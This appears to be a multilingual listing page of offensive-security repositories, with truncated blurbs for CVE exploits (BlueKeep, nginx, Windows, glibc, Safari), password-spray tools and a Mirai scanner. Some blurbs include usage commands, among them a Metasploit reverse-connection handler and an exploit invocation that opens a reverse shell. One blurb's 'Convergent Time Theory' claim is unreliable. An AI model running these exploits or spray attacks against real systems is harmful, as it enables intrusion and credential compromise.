cve-2019-0708_bluekeep_rce

Führe msfconsole meterpreter/multi/handler aus, um auf 192.168.116.133:6000 zu lauschen. 2. cd rdesktop-1.5.0 && make 3. Ändere die Konfiguration, um die Rückverbindungs-IP und den Port festzulegen: 192.168.116.133 6000 4. Führe ./heapspray 192.168.116.134 aus 134 ist die Adresse von XP, RAM = 2...

ADFSpray

ADFSpray ADFSpray è uno strumento python3 per effettuare attacchi di password spray contro Microsoft ADFS. VERIFICARE SEMPRE LA POLITICA DI BLOCCO PER PREVENIRE IL BLOCCO DEGLI UTENTI. Come usarlo Prima, installa le dipendenze necessarie: root@kitploit: pip3 install -r requirements.txt Esegui lo...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 è un overflow di heap nel buffer di glibc vsysloginternal sfruttato tramite la Convergent Time Theory α = 0.0302011. Uno spray heap temporale a 33 strati con trigger bloccato in fase per un affidabile escalation dei privilegi locali. README.md...

DonPwner

🔥 DonPwner - Strumento Avanzato di Analisi e Attacco DonPAPI Strumento Avanzato di Password Spray e Analisi delle Credenziali - Sfrutta DonPAPI con Ritardo Intelligente e Jitter Caratteristiche • Installazione • Utilizzo • Esempi • Configurazione • Licenza 🎯 Informazioni DonPwner è uno strumento...

cve-2025-21756

CVE-2025-21756 N-Day-Analyse Eine N-Day-Analyse von CVE-2025-21756 basierend auf Michael Hoeflers Write-up. Mein Exploit unterscheidet sich vom ursprünglichen Exploit im Spray-Schritt und in einigen anderen kleinen Punkten. Er ist hier...

GoMapEnum

Questo progetto è stato originariamente scritto per imparare Golang ed esplorare i diversi metodi che ho incontrato durante i penetration test per enumerare o forzare gli utenti e metterli insieme. Se riscontri errori, sentiti libero di aprire una issue e farò del mio meglio per risolverli o...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit من إعداد MWR Labs c 2018 التفاصيل يستهدف استغلال إثبات المفهوم هذا إصدارات Safari 11.0.3 13604.5.6 على macOS 10.13.3 17D47 فقط. قم بتجميع الحمولة payload التي تختارها كملف dylib مع مُنشئ constructor شغّل python filetojsarray.py your.dylib...

CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Toolkit per la Vulnerabilità Nginx Rift Toolkit completo per la scansione, la correzione e il test di CVE-2026-42945 - una vulnerabilità RCE critica in nginx Indice dei Contenuti Panoramica Dettagli CVE Caratteristiche Componenti del Toolkit Requisiti Installazione Utilizzo Esempi ...

CVE-2022-37969

CVE-2022-37969 PoC per l'elevazione dei privilegi locale di Windows autori: Ricardo Narvaja & Daniel Kazimirow Solid Solo a scopo dimostrativo. L'exploit completo funziona su sistemi Windows 11 21H2 vulnerabili. PoC funzionante basato su informazioni pubblicate in precedenza da Zscaler Consulta...

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

CVE-2026-23918 - Apache httpd modhttp2 PoC Questo repository contiene un'implementazione proof-of-concept scritta in Go per uno scenario di corruzione della memoria pre-autenticazione che affligge Apache httpd con modhttp2. Il codice in questo repository dimostra un approccio spray-and-trigger...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables Isto é uma por enquanto muito básica prova de conceito para CVE-2023-4911. Até agora, apenas verifiquei que funciona no Ubuntu 22.10 kinetic. A versão atual do exploit contém uma quantidade razoável de offsets "mágicos". Se você tiver sugestões sobre como melhorar ...

Spray

Spray Uno strumento di Password Spraying per credenziali Active Directory di Jacob Wilkin Greenwolf Per iniziare Queste istruzioni ti mostreranno i requisiti e come utilizzare Spray. Prerequisiti Tutti i requisiti sono preinstallati su Kali Linux; per eseguirlo su altre distribuzioni o su Mac,...

legba

legba Tritt der Projekt-Community auf unserem Server bei! Legba ist ein Multiprotokoll-Tool zum Bruteforcen / Password-Spraying und Enumerieren von Anmeldedaten, das mit Rust und der asynchronen Tokio-Laufzeit entwickelt wurde, um bessere Leistung und Stabilität zu erreichen, während es weniger...

cve-2014-7911-exp

cve-2014-7911-exp exploit per cve-2014-7911; android; deserializzazione java; privilegi di sistema; ace; Questo exp fa riferimento all'exp di retme7, ma la catena rop è diversa. E la parte più importante è Chunk Spray. Spero che possa essere d'aiuto. ambiente dispositivo:nexus5 versione...

Mirai-Spray

Mirai-Spray Scannt typische Mirai-Loader/Hostlisten-Formate mit Hydra. Dies kann verwendet werden, um zu überprüfen, ob eine Liste von Hosts erreichbar ist. INSTALLATION root@kitploit: apt update -y && apt upgrade -y apt install tor git clone https://github.com/Skotizo/Mirai-Spray cd Mirai-spray...

CVE-2018-17463

CVE-2018-17463 Completato un exploit funzionante per CVE-2018-17463 per divertimento. L'articolo originale che ho trovato su questo bug era qui http://phrack.org/papers/jitexploitation.html. Volevo solo trasformare questo arb r/w in un exploit pienamente funzionante. Ho anche imparato la tecnica...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Componente Grafico Windows RCE x64 Esecuzione remota di codice critica tramite JPEG malevolo – Windows 11 24H2 senza patch CVSS 9.8 – Nessun privilegio, nessuna interazione richiesta root@kitploit: CVE-2025-50165 - windowscodecs.dll dereferenza di puntatore non attendibile Scoperto...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

MSF_PassSpray_Wordlist_Generator

Generatore di Wordlist per Password Spray Un pratico strumento che ti aiuta a creare la tua wordlist per il framework Metasploit, al fine di effettuare un attacco di password spray contro vari protocolli di rete nel dominio delle tue vittime, come SMB : Descrizione Metasploit ha diversi moduli ch...

VBA-macro-experiments

VBA-Makro-Experimente Sammlung von VBA-Makros, die auf unserem Twitter / Blog veröffentlicht wurden. Wenn Sie sich für dieses Thema interessieren, lesen Sie bitte unsere Artikel „Hacking in epistolarischer Manier: Implementierung von Kerberoast in reinem VBA“ und „Licht auf die Erstellung von...